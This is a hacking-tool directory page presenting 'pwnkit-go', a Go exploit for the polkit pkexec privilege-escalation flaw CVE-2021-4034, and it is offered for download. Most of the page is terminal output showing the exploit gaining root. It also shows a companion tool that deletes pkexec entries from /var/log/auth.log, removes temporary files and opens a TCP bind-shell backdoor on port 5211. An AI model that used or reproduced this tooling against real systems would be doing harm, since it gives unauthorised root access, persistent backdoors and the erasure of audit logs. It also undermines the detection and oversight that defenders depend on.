Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Pwnkit-go — A golang based exp for CVE-2021-4034 dubbed pwnkit (more features added......) | Kitploit
Tools/GitHubGitHub/fdlucifer/pwnkit-go
Privilege EscalationExploitationPost-ExploitationPenetration TestingPayload DevelopmentBinary Exploitation
GitHubfdlucifer/pwnkit-go

Pwnkit-go

A golang based exp for CVE-2021-4034 dubbed pwnkit (more features added......)

View Repository
354 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PwnKit-go-LPE (CVE-2021-4034)

A golang based exp for CVE-2021-4034 dubbed pwnkit

root@kitploit:~
@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
@@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
@@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
!@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
@!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
!!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
!!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
:!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
 ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
 :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
                                                                                           
                                                                        By lUc1f3r11

New features

  • dynamically pkexec path by just adding -pk arg
  • bind shell backdoor
  • /var/log/auth.log and pkexec tmp files clean
  • written in pure go and using upx compressed volume

build

Enjoy

  1. run the pwnkit file to get root first
root@kitploit:~
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ id      
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
                                                                                                                                    
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ whoami
kali
                                                                                                                                    
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit   
@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
 @@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
 @@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
 !@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
 @!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
 !!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
 !!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
 :!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
  ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
  :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer),1000(kali)
# whoami
root

see the tmp file and log file exists

  1. run bindshell file to clean /var/log/auth.log and pkexec tmp files and open a tcp bind shell
root@kitploit:~
# ./bindshell &
# [+] setting command exec path env
[+] cleaning /tmp/pkexec* files
[+] cleaning /var/log/auth.log pkexec logs
[+] cleaning /tmp/al
[+] open a bind tcp shell on port 5211

#

vuln pkexec file and patched pkexec file avaliable to make your debug easier

  • vuln pkexec
  • patched pkexec

vuln repair

root@kitploit:~
┌──(root💀kali)-[~/pwnkit]
└─# cp pkexec-good /usr/bin/pkexec
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit
@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
 @@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
 @@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
 !@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
 @!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
 !!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
 !!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
 :!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
  ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
  :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

Reference

  • pkwner
  • chenaotian/CVE-2021-4034
  • The tale of CVE-2021-4034 AKA PwnKit, The 13-Year Old Bug
  • PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)
  • An00bRektn/CVE-2021-4034
  • dzonerzy/poc-cve-2021-4034
Download Tool